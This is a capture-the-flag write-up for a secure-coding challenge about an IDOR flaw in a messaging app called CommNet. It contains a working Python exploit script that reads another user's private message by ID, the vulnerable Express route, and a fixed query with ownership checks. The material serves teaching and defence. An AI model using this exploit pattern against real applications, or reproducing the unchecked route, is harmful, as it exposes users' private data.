Commnet - Secure Coding
Challenge Overview
This challenge presents a web-based messaging application called “CommNet” that allows users to communicate with each other through a secure messaging system. The application features user registration and authentication, private messaging between users, broadcast messaging capabilities, and a dashboard interface. The goal is to identify and exploit an Insecure Direct Object Reference (IDOR) vulnerability to gain unauthorized access to private messages belonging to other users.
Exploit Analysis
First, let’s examine the provided exploit that demonstrates the vulnerability:
from requests import post, get
import random
import string
import re
BASE_URL = "http://localhost:1337/challenge"
def random_string(length=6):
return "".join(random.choices(string.ascii_lowercase, k=length))
def register_user(username, password):
url = f"{BASE_URL}/api/auth/register"
data = {
"username": username,
"email": f"{username}@test.com",
"password": password,
"enclave": "West Enclave"
}
response = post(url, json=data, allow_redirects=False)
return response
def login_user(username, password):
url = f"{BASE_URL}/api/auth/login"
data = {
"username": username,
"password": password
}
response = post(url, json=data, allow_redirects=False)
return response
def get_messages(cookie, id):
url = f"{BASE_URL}/api/messages/{id}"
response = get(url, cookies=cookie)
return response
if __name__ == "__main__":
username, password = random_string(8), random_string(8)
register_user(username, password)
cookies = login_user(username, password).cookies
# flag sample is on messageId 3
response = get_messages(cookies, 3)
match = re.search(r'HTB\{.*?\}', response.text)
if match:
print("Exploit success. Got the flag!")
print(match.group())
else:
print("Exploit failed. No flag found.")
The exploit follows a simple pattern:
- User Registration: Creates a random user account
- Authentication: Logs in to get session cookies
- IDOR Attack: Directly accesses message ID 3 via
GET /api/messages/3
- Flag Extraction: Searches for the flag pattern in the response
The key insight is that any authenticated user can access any message by its ID, regardless of whether they’re the sender or recipient.
Vulnerability Analysis
Affected Endpoint
The vulnerability lies in the messages endpoint:
GET /challenge/api/messages/:id
Code Analysis
Let’s examine the vulnerable backend code:
// routes/messages.js
router.get('/:id', requireAuth, (req, res) => {
const messageId = req.params.id;
req.db.get(`
SELECT m.*,
sender.username as sender_username,
sender.enclave as sender_enclave,
recipient.username as recipient_username,
recipient.enclave as recipient_enclave
FROM messages m
LEFT JOIN users sender ON m.sender_id = sender.id
LEFT JOIN users recipient ON m.recipient_id = recipient.id
WHERE m.id = ?
`, [messageId], (err, message) => {
if (err || !message) {
return res.status(404).json({ success: false, error: 'Message not found' });
}
res.json({ success: true, message: message });
});
});
The SQL query only verifies the message exists (WHERE m.id = ?
) but doesn’t validate if the current user is the sender or recipient.
Database Structure Analysis
Messages Table Schema
CREATE TABLE IF NOT EXISTS messages (
id INTEGER PRIMARY KEY AUTOINCREMENT,
sender_id INTEGER NOT NULL,
recipient_id INTEGER,
subject TEXT NOT NULL,
content TEXT NOT NULL,
message_type TEXT DEFAULT 'personal',
priority TEXT DEFAULT 'normal',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (sender_id) REFERENCES users (id) ON DELETE CASCADE,
FOREIGN KEY (recipient_id) REFERENCES users (id) ON DELETE SET NULL
)
Sample Data
From the database initialization, we can see:
const SAMPLE_MESSAGES = [
[1, 2, 'Emergency Supply Request', 'North Enclave urgently needs medical supplies. Zombie activity increasing.', 'emergency', 'high'],
[2, 1, 'Supply Status Update', 'Medical supplies dispatched via drone. ETA 2 hours. Stay safe.', 'official', 'high'],
[3, 4, 'Safe Zone Coordinates', 'New safe zone established at coordinates 45.2N, 122.7W. Verified clear. HTB{fake_flag_for_testing}', 'tactical', 'normal'],
[SNIP]
Message ID 3 contains the flag and is a private communication between users 3 and 4, but any authenticated user can access it.
Vulnerability Fix
Secure Implementation
The fix requires adding proper authorization checks:
// routes/messages.js - Fixed
router.get('/:id', requireAuth, (req, res) => {
const messageId = req.params.id;
const userId = req.session.userId;
req.db.get(`
SELECT m.*,
sender.username as sender_username,
sender.enclave as sender_enclave,
recipient.username as recipient_username,
recipient.enclave as recipient_enclave
FROM messages m
LEFT JOIN users sender ON m.sender_id = sender.id
LEFT JOIN users recipient ON m.recipient_id = recipient.id
WHERE m.id = ?
AND (m.sender_id = ? OR m.recipient_id = ? OR m.recipient_id IS NULL)
`, [messageId, userId, userId], (err, message) => {
if (err || !message) {
return res.status(404).json({ success: false, error: 'Message not found' });
}
res.json({ success: true, message: message });
});
});
The additional WHERE
clause ensures users can only access messages where they are:
- The sender:
m.sender_id = userId
- The recipient:
m.recipient_id = userId
- Public broadcasts:
m.recipient_id IS NULL
After fixing the code, we can click ‘Restart’ and verify that the vulnerability is no longer present.
written by 0xbara